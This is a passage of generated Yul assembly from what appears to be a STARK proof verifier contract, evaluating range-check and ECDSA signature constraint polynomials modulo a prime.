add(/*coefficients[200]*/ mload(0x1d40),
mulmod(/*coefficients[201]*/ mload(0x1d60),
/*adjustments[13]*/mload(0x4fa0),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for rc_builtin/init_addr: column17_row102 - initial_rc_addr.
let val := addmod(
/*column17_row102*/ mload(0x34a0),
sub(PRIME, /*initial_rc_addr*/ mload(0x2a0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x4740), PRIME)
// res += val * (coefficients[202] + coefficients[203] * adjustments[4]).
res := addmod(res,
mulmod(val,
add(/*coefficients[202]*/ mload(0x1d80),
mulmod(/*coefficients[203]*/ mload(0x1da0),
/*adjustments[4]*/mload(0x4e80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/doubling_key/slope: ecdsa__signature0__doubling_key__x_squared + ecdsa__signature0__doubling_key__x_squared + ecdsa__signature0__doubling_key__x_squared + ecdsa/sig_config.alpha - (column19_row15 + column19_row15) * column20_row0.
let val := addmod(
addmod(
addmod(
addmod(
/*intermediate_value/ecdsa/signature0/doubling_key/x_squared*/ mload(0x4380),
/*intermediate_value/ecdsa/signature0/doubling_key/x_squared*/ mload(0x4380),
PRIME),
/*intermediate_value/ecdsa/signature0/doubling_key/x_squared*/ mload(0x4380),
PRIME),
/*ecdsa/sig_config.alpha*/ mload(0x2c0),
PRIME),
sub(
PRIME,
mulmod(
addmod(/*column19_row15*/ mload(0x3920), /*column19_row15*/ mload(0x3920), PRIME),
/*column20_row0*/ mload(0x3ae0),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 4096) - trace_generator^(255 * trace_length / 256).
// val *= numerators[7].
val := mulmod(val, mload(0x4d80), PRIME)
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x4720), PRIME)
// res += val * (coefficients[204] + coefficients[205] * adjustments[15]).
res := addmod(res,
mulmod(val,
add(/*coefficients[204]*/ mload(0x1dc0),
mulmod(/*coefficients[205]*/ mload(0x1de0),
/*adjustments[15]*/mload(0x4fe0),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/doubling_key/x: column20_row0 * column20_row0 - (column19_row7 + column19_row7 + column19_row23).
let val := addmod(
mulmod(/*column20_row0*/ mload(0x3ae0), /*column20_row0*/ mload(0x3ae0), PRIME),
sub(
PRIME,
addmod(
addmod(/*column19_row7*/ mload(0x3860), /*column19_row7*/ mload(0x3860), PRIME),
/*column19_row23*/ mload(0x3960),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 4096) - trace_generator^(255 * trace_length / 256).
// val *= numerators[7].
val := mulmod(val, mload(0x4d80), PRIME)
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x4720), PRIME)
// res += val * (coefficients[206] + coefficients[207] * adjustments[15]).
res := addmod(res,
mulmod(val,
add(/*coefficients[206]*/ mload(0x1e00),
mulmod(/*coefficients[207]*/ mload(0x1e20),
/*adjustments[15]*/mload(0x4fe0),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/doubling_key/y: column19_row15 + column19_row31 - column20_row0 * (column19_row7 - column19_row23).
let val := addmod(
addmod(/*column19_row15*/ mload(0x3920), /*column19_row31*/ mload(0x39c0), PRIME),
sub(
PRIME,
mulmod(
/*column20_row0*/ mload(0x3ae0),
addmod(
/*column19_row7*/ mload(0x3860),
sub(PRIME, /*column19_row23*/ mload(0x3960)),
PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 4096) - trace_generator^(255 * trace_length / 256).
// val *= numerators[7].
val := mulmod(val, mload(0x4d80), PRIME)
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x4720), PRIME)
// res += val * (coefficients[208] + coefficients[209] * adjustments[15]).
res := addmod(res,
mulmod(val,
add(/*coefficients[208]*/ mload(0x1e40),
mulmod(/*coefficients[209]*/ mload(0x1e60),
/*adjustments[15]*/mload(0x4fe0),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_generator/booleanity_test: ecdsa__signature0__exponentiate_generator__bit_0 * (ecdsa__signature0__exponentiate_generator__bit_0 - 1).
let val := mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_0*/ mload(0x43a0),
addmod(
/*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_0*/ mload(0x43a0),
sub(PRIME, 1),
PRIME),
PRIME)
// Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= numerators[8].
val := mulmod(val, mload(0x4da0), PRIME)
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[15].
val := mulmod(val, mload(0x48c0), PRIME)
// res += val * (coefficients[210] + coefficients[211] * adjustments[16]).
res := addmod(res,
mulmod(val,
add(/*coefficients[210]*/ mload(0x1e80),
mulmod(/*coefficients[211]*/ mload(0x1ea0),
/*adjustments[16]*/mload(0x5000),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_generator/bit_extraction_end: column20_row30.
let val := /*column20_row30*/ mload(0x3c80)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8192) - trace_generator^(251 * trace_length / 256).
// val *= denominator_invs[16].
val := mulmod(val, mload(0x48e0), PRIME)
// res += val * (coefficients[212] + coefficients[213] * adjustments[17]).
res := addmod(res,
mulmod(val,
add(/*coefficients[212]*/ mload(0x1ec0),
mulmod(/*coefficients[213]*/ mload(0x1ee0),
/*adjustments[17]*/mload(0x5020),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_generator/zeros_tail: column20_row30.
let val := /*column20_row30*/ mload(0x3c80)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= denominator_invs[17].
val := mulmod(val, mload(0x4900), PRIME)
// res += val * (coefficients[214] + coefficients[215] * adjustments[17]).
res := addmod(res,
mulmod(val,
add(/*coefficients[214]*/ mload(0x1f00),
mulmod(/*coefficients[215]*/ mload(0x1f20),
/*adjustments[17]*/mload(0x5020),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_generator/add_points/slope: ecdsa__signature0__exponentiate_generator__bit_0 * (column20_row22 - ecdsa__generator_points__y) - column20_row14 * (column20_row6 - ecdsa__generator_points__x).
let val := addmod(
mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_0*/ mload(0x43a0),
addmod(
/*column20_row22*/ mload(0x3c40),
sub(PRIME, /*periodic_column/ecdsa/generator_points/y*/ mload(0x60)),
PRIME),
PRIME),
sub(
PRIME,
mulmod(
/*column20_row14*/ mload(0x3be0),
addmod(
/*column20_row6*/ mload(0x3b60),
sub(PRIME, /*periodic_column/ecdsa/generator_points/x*/ mload(0x40)),
PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= numerators[8].
val := mulmod(val, mload(0x4da0), PRIME)
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[15].
val := mulmod(val, mload(0x48c0), PRIME)
// res += val * (coefficients[216] + coefficients[217] * adjustments[16]).
res := addmod(res,
mulmod(val,
add(/*coefficients[216]*/ mload(0x1f40),
mulmod(/*coefficients[217]*/ mload(0x1f60),
/*adjustments[16]*/mload(0x5000),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_generator/add_points/x: column20_row14 * column20_row14 - ecdsa__signature0__exponentiate_generator__bit_0 * (column20_row6 + ecdsa__generator_points__x + column20_row38).
let val := addmod(
mulmod(/*column20_row14*/ mload(0x3be0), /*column20_row14*/ mload(0x3be0), PRIME),
sub(
PRIME,
mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_0*/ mload(0x43a0),
addmod(
addmod(
/*column20_row6*/ mload(0x3b60),
/*periodic_column/ecdsa/generator_points/x*/ mload(0x40),
PRIME),
/*column20_row38*/ mload(0x3ca0),
PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= numerators[8].
val := mulmod(val, mload(0x4da0), PRIME)
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[15].
val := mulmod(val, mload(0x48c0), PRIME)
// res += val * (coefficients[218] + coefficients[219] * adjustments[16]).
res := addmod(res,
mulmod(val,
add(/*coefficients[218]*/ mload(0x1f80),
mulmod(/*coefficients[219]*/ mload(0x1fa0),
/*adjustments[16]*/mload(0x5000),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_generator/add_points/y: ecdsa__signature0__exponentiate_generator__bit_0 * (column20_row22 + column20_row54) - column20_row14 * (column20_row6 - column20_row38).
let val := addmod(
mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_0*/ mload(0x43a0),
addmod(/*column20_row22*/ mload(0x3c40), /*column20_row54*/ mload(0x3cc0), PRIME),
PRIME),
sub(
PRIME,
mulmod(
/*column20_row14*/ mload(0x3be0),
addmod(
/*column20_row6*/ mload(0x3b60),
sub(PRIME, /*column20_row38*/ mload(0x3ca0)),
PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= numerators[8].
val := mulmod(val, mload(0x4da0), PRIME)
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[15].
val := mulmod(val, mload(0x48c0), PRIME)
// res += val * (coefficients[220] + coefficients[221] * adjustments[16]).
res := addmod(res,
mulmod(val,
add(/*coefficients[220]*/ mload(0x1fc0),
mulmod(/*coefficients[221]*/ mload(0x1fe0),
/*adjustments[16]*/mload(0x5000),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_generator/add_points/x_diff_inv: column20_row1 * (column20_row6 - ecdsa__generator_points__x) - 1.
let val := addmod(
mulmod(
/*column20_row1*/ mload(0x3b00),
addmod(
/*column20_row6*/ mload(0x3b60),
sub(PRIME, /*periodic_column/ecdsa/generator_points/x*/ mload(0x40)),
PRIME),
PRIME),
sub(PRIME, 1),
PRIME)
// Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= numerators[8].
val := mulmod(val, mload(0x4da0), PRIME)
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[15].
val := mulmod(val, mload(0x48c0), PRIME)
// res += val * (coefficients[222] + coefficients[223] * adjustments[16]).
res := addmod(res,
mulmod(val,
add(/*coefficients[222]*/ mload(0x2000),
mulmod(/*coefficients[223]*/ mload(0x2020),
/*adjustments[16]*/mload(0x5000),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_generator/copy_point/x: ecdsa__signature0__exponentiate_generator__bit_neg_0 * (column20_row38 - column20_row6).
let val := mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_neg_0*/ mload(0x43c0),
addmod(
/*column20_row38*/ mload(0x3ca0),
sub(PRIME, /*column20_row6*/ mload(0x3b60)),
PRIME),
PRIME)
// Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= numerators[8].
val := mulmod(val, mload(0x4da0), PRIME)
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[15].
val := mulmod(val, mload(0x48c0), PRIME)
// res += val * (coefficients[224] + coefficients[225] * adjustments[16]).
res := addmod(res,
mulmod(val,
add(/*coefficients[224]*/ mload(0x2040),
mulmod(/*coefficients[225]*/ mload(0x2060),
/*adjustments[16]*/mload(0x5000),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_generator/copy_point/y: ecdsa__signature0__exponentiate_generator__bit_neg_0 * (column20_row54 - column20_row22).
let val := mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_neg_0*/ mload(0x43c0),
addmod(
/*column20_row54*/ mload(0x3cc0),
sub(PRIME, /*column20_row22*/ mload(0x3c40)),
PRIME),
PRIME)
// Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= numerators[8].
val := mulmod(val, mload(0x4da0), PRIME)
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[15].
val := mulmod(val, mload(0x48c0), PRIME)
// res += val * (coefficients[226] + coefficients[227] * adjustments[16]).
res := addmod(res,
mulmod(val,
add(/*coefficients[226]*/ mload(0x2080),
mulmod(/*coefficients[227]*/ mload(0x20a0),
/*adjustments[16]*/mload(0x5000),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_key/booleanity_test: ecdsa__signature0__exponentiate_key__bit_0 * (ecdsa__signature0__exponentiate_key__bit_0 - 1).
let val := mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_key/bit_0*/ mload(0x43e0),
addmod(
/*intermediate_value/ecdsa/signature0/exponentiate_key/bit_0*/ mload(0x43e0),
sub(PRIME, 1),
PRIME),
PRIME)
// Numerator: point^(trace_length / 4096) - trace_generator^(255 * trace_length / 256).
// val *= numerators[7].
val := mulmod(val, mload(0x4d80), PRIME)
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x4720), PRIME)
// res += val * (coefficients[228] + coefficients[229] * adjustments[15]).
res := addmod(res,
mulmod(val,
add(/*coefficients[228]*/ mload(0x20c0),
mulmod(/*coefficients[229]*/ mload(0x20e0),
/*adjustments[15]*/mload(0x4fe0),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_key/bit_extraction_end: column20_row2.
let val := /*column20_row2*/ mload(0x3b20)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 4096) - trace_generator^(251 * trace_length / 256).
// val *= denominator_invs[18].
val := mulmod(val, mload(0x4920), PRIME)
// res += val * (coefficients[230] + coefficients[231] * adjustments[18]).
res := addmod(res,
mulmod(val,
add(/*coefficients[230]*/ mload(0x2100),
mulmod(/*coefficients[231]*/ mload(0x2120),
/*adjustments[18]*/mload(0x5040),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_key/zeros_tail: column20_row2.
let val := /*column20_row2*/ mload(0x3b20)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 4096) - trace_generator^(255 * trace_length / 256).
// val *= denominator_invs[19].
val := mulmod(val, mload(0x4940), PRIME)
// res += val * (coefficients[232] + coefficients[233] * adjustments[18]).
res := addmod(res,
mulmod(val,
add(/*coefficients[232]*/ mload(0x2140),
mulmod(/*coefficients[233]*/ mload(0x2160),
/*adjustments[18]*/mload(0x5040),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_key/add_points/slope: ecdsa__signature0__exponentiate_key__bit_0 * (column20_row4 - column19_row15) - column20_row12 * (column20_row8 - column19_row7).
let val := addmod(
mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_key/bit_0*/ mload(0x43e0),
addmod(
/*column20_row4*/ mload(0x3b40),
sub(PRIME, /*column19_row15*/ mload(0x3920)),
PRIME),
PRIME),
sub(
PRIME,
mulmod(
/*column20_row12*/ mload(0x3bc0),
addmod(/*column20_row8*/ mload(0x3b80), sub(PRIME, /*column19_row7*/ mload(0x3860)), PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 4096) - trace_generator^(255 * trace_length / 256).
// val *= numerators[7].
val := mulmod(val, mload(0x4d80), PRIME)
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x4720), PRIME)
// res += val * (coefficients[234] + coefficients[235] * adjustments[15]).
res := addmod(res,
mulmod(val,
add(/*coefficients[234]*/ mload(0x2180),
mulmod(/*coefficients[235]*/ mload(0x21a0),
/*adjustments[15]*/mload(0x4fe0),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_key/add_points/x: column20_row12 * column20_row12 - ecdsa__signature0__exponentiate_key__bit_0 * (column20_row8 + column19_row7 + column20_row24).
let val := addmod(
mulmod(/*column20_row12*/ mload(0x3bc0), /*column20_row12*/ mload(0x3bc0), PRIME),
sub(
PRIME,
mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_key/bit_0*/ mload(0x43e0),
addmod(
addmod(/*column20_row8*/ mload(0x3b80), /*column19_row7*/ mload(0x3860), PRIME),
/*column20_row24*/ mload(0x3c60),
PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 4096) - trace_generator^(255 * trace_length / 256).
// val *= numerators[7].
val := mulmod(val, mload(0x4d80), PRIME)
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x4720), PRIME)
// res += val * (coefficients[236] + coefficients[237] * adjustments[15]).
res := addmod(res,
mulmod(val,
add(/*coefficients[236]*/ mload(0x21c0),
mulmod(/*coefficients[237]*/ mload(0x21e0),
/*adjustments[15]*/mload(0x4fe0),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_key/add_points/y: ecdsa__signature0__exponentiate_key__bit_0 * (column20_row4 + column20_row20) - column20_row12 * (column20_row8 - column20_row24).
let val := addmod(
mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_key/bit_0*/ mload(0x43e0),
addmod(/*column20_row4*/ mload(0x3b40), /*column20_row20*/ mload(0x3c20), PRIME),
PRIME),
sub(
PRIME,
mulmod(
/*column20_row12*/ mload(0x3bc0),
addmod(
/*column20_row8*/ mload(0x3b80),
sub(PRIME, /*column20_row24*/ mload(0x3c60)),
PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 4096) - trace_generator^(255 * trace_length / 256).
// val *= numerators[7].
val := mulmod(val, mload(0x4d80), PRIME)
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x4720), PRIME)
// res += val * (coefficients[238] + coefficients[239] * adjustments[15]).
res := addmod(res,
mulmod(val,
add(/*coefficients[238]*/ mload(0x2200),
mulmod(/*coefficients[239]*/ mload(0x2220),
/*adjustments[15]*/mload(0x4fe0),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_key/add_points/x_diff_inv: column20_row10 * (column20_row8 - column19_row7) - 1.
let val := addmod(
mulmod(
/*column20_row10*/ mload(0x3ba0),
addmod(/*column20_row8*/ mload(0x3b80), sub(PRIME, /*column19_row7*/ mload(0x3860)), PRIME),
PRIME),
sub(PRIME, 1),
PRIME)
// Numerator: point^(trace_length / 4096) - trace_generator^(255 * trace_length / 256).
// val *= numerators[7].
val := mulmod(val, mload(0x4d80), PRIME)
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x4720), PRIME)
// res += val * (coefficients[240] + coefficients[241] * adjustments[15]).
res := addmod(res,
mulmod(val,
add(/*coefficients[240]*/ mload(0x2240),
mulmod(/*coefficients[241]*/ mload(0x2260),
/*adjustments[15]*/mload(0x4fe0),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_key/copy_point/x: ecdsa__signature0__exponentiate_key__bit_neg_0 * (column20_row24 - column20_row8).
let val := mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_key/bit_neg_0*/ mload(0x4400),
addmod(
/*column20_row24*/ mload(0x3c60),
sub(PRIME, /*column20_row8*/ mload(0x3b80)),
PRIME),
PRIME)
// Numerator: point^(trace_length / 4096) - trace_generator^(255 * trace_length / 256).
// val *= numerators[7].
val := mulmod(val, mload(0x4d80), PRIME)
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x4720), PRIME)
// res += val * (coefficients[242] + coefficients[243] * adjustments[15]).
res := addmod(res,
mulmod(val,
add(/*coefficients[242]*/ mload(0x2280),
mulmod(/*coefficients[243]*/ mload(0x22a0),
/*adjustments[15]*/mload(0x4fe0),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_key/copy_point/y: ecdsa__signature0__exponentiate_key__bit_neg_0 * (column20_row20 - column20_row4).
let val := mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_key/bit_neg_0*/ mload(0x4400),
addmod(
/*column20_row20*/ mload(0x3c20),
sub(PRIME, /*column20_row4*/ mload(0x3b40)),
PRIME),
PRIME)
// Numerator: point^(trace_length / 4096) - trace_generator^(255 * trace_length / 256).
// val *= numerators[7].
val := mulmod(val, mload(0x4d80), PRIME)
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x4720), PRIME)
// res += val * (coefficients[244] + coefficients[245] * adjustments[15]).
res := addmod(res,
mulmod(val,
add(/*coefficients[244]*/ mload(0x22c0),
mulmod(/*coefficients[245]*/ mload(0x22e0),
/*adjustments[15]*/mload(0x4fe0),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/init_gen/x: column20_row6 - ecdsa/sig_config.shift_point.x.
let val := addmod(
/*column20_row6*/ mload(0x3b60),
sub(PRIME, /*ecdsa/sig_config.shift_point.x*/ mload(0x2e0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8192) - 1.
// val *= denominator_invs[20].
val := mulmod(val, mload(0x4960), PRIME)
// res += val * (coefficients[246] + coefficients[247] * adjustments[17]).
res := addmod(res,
mulmod(val,
add(/*coefficients[246]*/ mload(0x2300),
mulmod(/*coefficients[247]*/ mload(0x2320),
/*adjustments[17]*/mload(0x5020),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/init_gen/y: column20_row22 + ecdsa/sig_config.shift_point.y.
let val := addmod(
/*column20_row22*/ mload(0x3c40),
/*ecdsa/sig_config.shift_point.y*/ mload(0x300),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8192) - 1.
// val *= denominator_invs[20].
val := mulmod(val, mload(0x4960), PRIME)
// res += val * (coefficients[248] + coefficients[249] * adjustments[17]).
res := addmod(res,
mulmod(val,
add(/*coefficients[248]*/ mload(0x2340),
mulmod(/*coefficients[249]*/ mload(0x2360),
/*adjustments[17]*/mload(0x5020),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/init_key/x: column20_row8 - ecdsa/sig_config.shift_point.x.
let val := addmod(
/*column20_row8*/ mload(0x3b80),
sub(PRIME, /*ecdsa/sig_config.shift_point.x*/ mload(0x2e0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 4096) - 1.
// val *= denominator_invs[21].
val := mulmod(val, mload(0x4980), PRIME)
// res += val * (coefficients[250] + coefficients[251] * adjustments[18]).
res := addmod(res,
mulmod(val,
add(/*coefficients[250]*/ mload(0x2380),
mulmod(/*coefficients[251]*/ mload(0x23a0),
/*adjustments[18]*/mload(0x5040),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/init_key/y: column20_row4 - ecdsa/sig_config.shift_point.y.
let val := addmod(
/*column20_row4*/ mload(0x3b40),
sub(PRIME, /*ecdsa/sig_config.shift_point.y*/ mload(0x300)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 4096) - 1.
// val *= denominator_invs[21].
val := mulmod(val, mload(0x4980), PRIME)
// res += val * (coefficients[252] + coefficients[253] * adjustments[18]).
res := addmod(res,
mulmod(val,
add(/*coefficients[252]*/ mload(0x23c0),
mulmod(/*coefficients[253]*/ mload(0x23e0),
/*adjustments[18]*/mload(0x5040),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/add_results/slope: column20_row8182 - (column20_row4084 + column20_row8161 * (column20_row8166 - column20_row4088)).
let val := addmod(
/*column20_row8182*/ mload(0x3e40),
sub(
PRIME,
addmod(
/*column20_row4084*/ mload(0x3d20),
mulmod(
/*column20_row8161*/ mload(0x3da0),
addmod(
/*column20_row8166*/ mload(0x3dc0),
sub(PRIME, /*column20_row4088*/ mload(0x3d40)),
PRIME),
PRIME),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8192) - 1.
// val *= denominator_invs[20].
val := mulmod(val, mload(0x4960), PRIME)
// res += val * (coefficients[254] + coefficients[255] * adjustments[19]).
res := addmod(res,
mulmod(val,
add(/*coefficients[254]*/ mload(0x2400),
mulmod(/*coefficients[255]*/ mload(0x2420),
/*adjustments[19]*/mload(0x5060),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/add_results/x: column20_row8161 * column20_row8161 - (column20_row8166 + column20_row4088 + column19_row4103).
let val := addmod(
mulmod(/*column20_row8161*/ mload(0x3da0), /*column20_row8161*/ mload(0x3da0), PRIME),
sub(
PRIME,
addmod(
addmod(/*column20_row8166*/ mload(0x3dc0), /*column20_row4088*/ mload(0x3d40), PRIME),
/*column19_row4103*/ mload(0x3aa0),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8192) - 1.
// val *= denominator_invs[20].
val := mulmod(val, mload(0x4960), PRIME)
// res += val * (coefficients[256] + coefficients[257] * adjustments[19]).
res := addmod(res,
mulmod(val,
add(/*coefficients[256]*/ mload(0x2440),
mulmod(/*coefficients[257]*/ mload(0x2460),
/*adjustments[19]*/mload(0x5060),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/add_results/y: column20_row8182 + column19_row4111 - column20_row8161 * (column20_row8166 - column19_row4103).
let val := addmod(
addmod(/*column20_row8182*/ mload(0x3e40), /*column19_row4111*/ mload(0x3ac0), PRIME),
sub(
PRIME,
mulmod(
/*column20_row8161*/ mload(0x3da0),
addmod(
/*column20_row8166*/ mload(0x3dc0),
sub(PRIME, /*column19_row4103*/ mload(0x3aa0)),
PRIME),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8192) - 1.
// val *= denominator_invs[20].
val := mulmod(val, mload(0x4960), PRIME)
// res += val * (coefficients[258] + coefficients[259] * adjustments[19]).
res := addmod(res,
mulmod(val,
add(/*coefficients[258]*/ mload(0x2480),
mulmod(/*coefficients[259]*/ mload(0x24a0),
/*adjustments[19]*/mload(0x5060),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/add_results/x_diff_inv: column20_row8174 * (column20_row8166 - column20_row4088) - 1.
let val := addmod(
mulmod(
/*column20_row8174*/ mload(0x3de0),
addmod(
/*column20_row8166*/ mload(0x3dc0),
sub(PRIME, /*column20_row4088*/ mload(0x3d40)),
PRIME),
PRIME),
sub(PRIME, 1),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8192) - 1.
// val *= denominator_invs[20].
val := mulmod(val, mload(0x4960), PRIME)
// res += val * (coefficients[260] + coefficients[261] * adjustments[19]).
res := addmod(res,
mulmod(val,
add(/*coefficients[260]*/ mload(0x24c0),
mulmod(/*coefficients[261]*/ mload(0x24e0),
/*adjustments[19]*/mload(0x5060),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/extract_r/slope: column20_row8180 + ecdsa/sig_config.shift_point.y - column20_row4092 * (column20_row8184 - ecdsa/sig_config.shift_point.x).
let val := addmod(
addmod(
/*column20_row8180*/ mload(0x3e20),
/*ecdsa/sig_config.shift_point.y*/ mload(0x300),
PRIME),
sub(
PRIME,
mulmod(
/*column20_row4092*/ mload(0x3d80),
addmod(
/*column20_row8184*/ mload(0x3e60),
sub(PRIME, /*ecdsa/sig_config.shift_point.x*/ mload(0x2e0)),
PRIME),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8192) - 1.
// val *= denominator_invs[20].
val := mulmod(val, mload(0x4960), PRIME)
// res += val * (coefficients[262] + coefficients[263] * adjustments[19]).
res := addmod(res,
mulmod(val,
add(/*coefficients[262]*/ mload(0x2500),
mulmod(/*coefficients[263]*/ mload(0x2520),
/*adjustments[19]*/mload(0x5060),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/extract_r/x: column20_row4092 * column20_row4092 - (column20_row8184 + ecdsa/sig_config.shift_point.x + column20_row2).
let val := addmod(
mulmod(/*column20_row4092*/ mload(0x3d80), /*column20_row4092*/ mload(0x3d80), PRIME),
sub(
PRIME,
addmod(
addmod(
/*column20_row8184*/ mload(0x3e60),
/*ecdsa/sig_config.shift_point.x*/ mload(0x2e0),
PRIME),
/*column20_row2*/ mload(0x3b20),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8192) - 1.
// val *= denominator_invs[20].
val := mulmod(val, mload(0x4960), PRIME)
// res += val * (coefficients[264] + coefficients[265] * adjustments[19]).
res := addmod(res,
mulmod(val,
add(/*coefficients[264]*/ mload(0x2540),
